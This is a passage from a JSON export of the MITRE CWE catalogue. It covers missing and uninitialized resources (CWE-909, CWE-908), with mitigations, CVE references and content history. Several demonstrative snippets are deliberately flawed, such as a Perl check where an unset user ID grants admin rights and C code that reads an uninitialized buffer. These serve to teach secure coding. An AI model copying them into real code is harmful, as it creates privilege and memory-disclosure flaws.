"2008-08-15", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "Suggested OWASP Top Ten 2004 mapping"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Relationships, Other_Notes, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-10-14", "Modification_Version": "1.0.1", "Modification_ReleaseDate": "2008-10-14", "Modification_Comment": "updated Maintenance_Notes, Other_Notes, Theoretical_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Applicable_Platforms, Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Related_Attack_Patterns, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name, References"}], "Previous_Entry_Name": {"@Date": "2026-10-28", "#text": "XML Injection (aka Blind XPath Injection)"}}, "entry_type": "Weakness", "ranking": 189.0}, {"@ID": "909", "@Name": "Missing Initialization of Resource", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product does not initialize a critical resource.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1003", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "908", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Background_Details": {"Background_Detail": "Many resources require initialization before they can be properly used."}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Other", "Impact": "Varies by Context", "Note": "If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values."}, {"Scope": "Confidentiality", "Impact": ["Read Memory", "Read Application Data"], "Note": "When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party."}, {"Scope": "Availability", "Impact": "DoS: Crash, Exit, or Restart", "Note": "The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all specified steps."]}, {"Phase": "Implementation", "Description": ["Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization."]}, {"Phase": "Implementation", "Description": ["Avoid race conditions (CWE-362) during initialization routines."]}, {"Phase": "Build and Compilation", "Description": ["Run or compile your product with settings that generate warnings about uninitialized variables or data."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-105", "Intro_Text": "Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": "// perform initialization tasks", "#text": "...\n initialized = true;"}}, "#text": "if (!initialized) {}"}}, "#text": "private boolean initialized = true;public void someMethod() {"}, "#text_blocks": ["private boolean initialized = true;", "public void someMethod() {", "if (!initialized) {", "// perform initialization tasks", "...", "initialized = true;", "}"]}}, {"@Demonstrative_Example_ID": "DX-54", "Intro_Text": "The following code intends to limit certain operations to the administrator only.", "Example_Code": {"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "$uid = ExtractUserID($state);"}, {"@style": "margin-left:1em;", "#text": "DoAdminThings();"}], "xhtml:i": "# do stuff", "#text": "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {}\n \n \n if ($uid == 0) {}"}, "#text_blocks": ["$username = GetCurrentUser();", "$state = GetStateData($username);", "if (defined($state)) {", "$uid = ExtractUserID($state);", "}", "# do stuff", "if ($uid == 0) {", "DoAdminThings();", "}"]}, "Body_Text": "If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."}, {"Intro_Text": "The following code intends to concatenate a string to a variable and print the string.", "Example_Code": {"@Nature": "Bad", "@Language": "C", "xhtml:div": {"xhtml:br": [null, null], "#text": "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"}, "#text_blocks": ["char str[20];", "strcat(str, \"hello world\");", "printf(\"%s\", str);"]}, "Body_Text": ["This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.", "If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.", "If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."]}, {"@Demonstrative_Example_ID": "DX-144", "Intro_Text": "This example will leave test_string in an\n\t\t\t unknown condition when i is the same value as err_val,\n\t\t\t because test_string is not initialized\n\t\t\t (CWE-456). Depending on where this code segment appears\n\t\t\t (e.g. within a function body), test_string might be\n\t\t\t random if it is stored on the heap or stack. If the\n\t\t\t variable is declared in static memory, it might be zero\n\t\t\t or NULL. Compiler optimization might contribute to the\n\t\t\t unpredictability of this address.", "Example_Code": [{"@Nature": "Bad", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string;\n if (i != err_val)\n {\n \n }\n printf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string = \"Done at the beginning\";\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string = \"Done at the beginning\";", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, {"@style": "margin-left:1em;", "#text": "test_string = \"Done on the other side!\";"}], "#text": "char *test_string;\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "else {", "test_string = \"Done on the other side!\";", "}", "printf(\"%s\", test_string);"]}], "Body_Text": [{"xhtml:p": ["When the printf() is reached,\n test_string might be an unexpected address, so the\n printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t making sure that test_string has been properly set once\n\t\t\t it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t acceptable default before the conditional:"], "#text_blocks": ["When the printf() is reached,\n test_string might be an unexpected address, so the\n printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t making sure that test_string has been properly set once\n\t\t\t it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t acceptable default before the conditional:"]}, "Another solution is to ensure that each\n\t\t\t branch of the conditional - including the default/else\n\t\t\t branch - could ensure that test_string is set:"]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2020-20739", "Description": "A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-20739"}, {"Reference": "CVE-2005-1036", "Description": "Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1036"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21", "Submission_Comment": "New weakness based on discussion on the CWE research list in December 2012."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Mapping_Notes, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Detection_Factors"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Background_Details, Common_Consequences, Demonstrative_Examples, Description"}]}, "entry_type": "Weakness", "ranking": 96.0}, {"@ID": "908", "@Name": "Use of Uninitialized Resource", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses or accesses a resource that has not been initialized.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "665", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation"}}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Memory", "Read Application Data"], "Note": "When reusing a resource such as memory or a program variable, the original contents may not have been cleared before it is sent to an untrusted party."}, {"Scope": "Availability", "Impact": ["DoS: Crash, Exit, or Restart", "DoS: Instability"], "Note": "The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend, possibly leading to a crash."}, {"Scope": "Other", "Impact": ["Unexpected State", "Varies by Context"], "Note": "The consequences vary depending on the type of resource and how it is used within the product."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps."]}, {"Phase": "Implementation", "Description": ["Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization."]}, {"Phase": "Implementation", "Description": ["Avoid race conditions (CWE-362) during initialization routines."]}, {"Phase": "Build and Compilation", "Description": ["Run or compile the product with settings that generate warnings about uninitialized variables or data."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-105", "Intro_Text": "Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:i": "// perform initialization tasks", "#text": "...\n initialized = true;"}}, "#text": "if (!initialized) {}"}}, "#text": "private boolean initialized = true;public void someMethod() {"}, "#text_blocks": ["private boolean initialized = true;", "public void someMethod() {", "if (!initialized) {", "// perform initialization tasks", "...", "initialized = true;", "}"]}}, {"@Demonstrative_Example_ID": "DX-54", "Intro_Text": "The following code intends to limit certain operations to the administrator only.", "Example_Code": {"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "$uid = ExtractUserID($state);"}, {"@style": "margin-left:1em;", "#text": "DoAdminThings();"}], "xhtml:i": "# do stuff", "#text": "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {}\n \n \n if ($uid == 0) {}"}, "#text_blocks": ["$username = GetCurrentUser();", "$state = GetStateData($username);", "if (defined($state)) {", "$uid = ExtractUserID($state);", "}", "# do stuff", "if ($uid == 0) {", "DoAdminThings();", "}"]}, "Body_Text": "If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."}, {"@Demonstrative_Example_ID": "DX-106", "Intro_Text": "The following code intends to concatenate a string to a variable and print the string.", "Example_Code": {"@Nature": "Bad", "@Language": "C", "xhtml:div": {"xhtml:br": [null, null], "#text": "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"}, "#text_blocks": ["char str[20];", "strcat(str, \"hello world\");", "printf(\"%s\", str);"]}, "Body_Text": ["This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.", "If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.", "If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."]}, {"@Demonstrative_Example_ID": "DX-144", "Intro_Text": "This example will leave test_string in an\n\t\t\t unknown condition when i is the same value as err_val,\n\t\t\t because test_string is not initialized\n\t\t\t (CWE-456). Depending on where this code segment appears\n\t\t\t (e.g. within a function body), test_string might be\n\t\t\t random if it is stored on the heap or stack. If the\n\t\t\t variable is declared in static memory, it might be zero\n\t\t\t or NULL. Compiler optimization might contribute to the\n\t\t\t unpredictability of this address.", "Example_Code": [{"@Nature": "Bad", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string;\n if (i != err_val)\n {\n \n }\n printf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, "#text": "char *test_string = \"Done at the beginning\";\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string = \"Done at the beginning\";", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "printf(\"%s\", test_string);"]}, {"@Nature": "Good", "@Language": "C", "xhtml:br": [null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "#text": "test_string = \"Hello World!\";"}, {"@style": "margin-left:1em;", "#text": "test_string = \"Done on the other side!\";"}], "#text": "char *test_string;\n\t\t\t\tif (i != err_val)\n\t\t\t\t{\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\tprintf(\"%s\", test_string);", "#text_blocks": ["char *test_string;", "if (i != err_val)", "{", "test_string = \"Hello World!\";", "}", "else {", "test_string = \"Done on the other side!\";", "}", "printf(\"%s\", test_string);"]}], "Body_Text": [{"xhtml:p": ["When the printf() is reached,\n test_string might be an unexpected address, so the\n printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t making sure that test_string has been properly set once\n\t\t\t it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t acceptable default before the conditional:"], "#text_blocks": ["When the printf() is reached,\n test_string might be an unexpected address, so the\n printf might print junk strings (CWE-457).", "To fix this code, there are a couple approaches to\n\t\t\t making sure that test_string has been properly set once\n\t\t\t it reaches the printf().", "One solution would be to set test_string to an\n\t\t\t acceptable default before the conditional:"]}, "Another solution is to ensure that each\n\t\t\t branch of the conditional - including the default/else\n\t\t\t branch - could ensure that test_string is set:"]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2019-9805", "Description": "Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-9805"}, {"Reference": "CVE-2008-4197", "Description": "Use of uninitialized memory may allow code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4197"}, {"Reference": "CVE-2008-2934", "Description": "Free of an uninitialized pointer leads to crash and possible code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2934"}, {"Reference": "CVE-2008-0063", "Description": "Product does not clear memory contents when generating an error message, leading to information leak.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0063"}, {"Reference": "CVE-2008-0062", "Description": "Lack of initialization triggers NULL pointer dereference or double-free.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0062"}, {"Reference": "CVE-2008-0081", "Description": "Uninitialized variable leads to code execution in popular desktop application.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-0081"}, {"Reference": "CVE-2008-3688", "Description": "Chain: Uninitialized variable leads to infinite loop.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3688"}, {"Reference": "CVE-2008-3475", "Description": "Chain: Improper initialization leads to memory corruption.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3475"}, {"Reference": "CVE-2005-1036", "Description": "Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1036"}, {"Reference": "CVE-2008-3597", "Description": "Chain: game server can access player data structures before initialization has happened leading to NULL dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-3597"}, {"Reference": "CVE-2009-2692", "Description": "Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2692"}, {"Reference": "CVE-2009-0949", "Description": "Chain: improper initialization of memory can lead to NULL dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0949"}, {"Reference": "CVE-2009-3620", "Description": "Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3620"}, {"Reference": "CVE-2008-5021", "Description": "Composite: race condition (CWE-362) allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory (CWE-908).", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5021"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": {"@Taxonomy_Name": "CERT C Secure Coding", "Entry_ID": "EXP33-C", "Entry_Name": "Do not read uninitialized memory", "Mapping_Fit": "CWE More Abstract"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-436"}, {"@External_Reference_ID": "REF-1534"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2012-12-21", "Submission_Version": "2.4", "Submission_ReleaseDate": "2013-02-21", "Submission_Comment": "New weakness based on discussion on the CWE research list in December 2012."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-12-10", "Modification_Version": "4.3", "Modification_ReleaseDate": "2020-12-10", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": 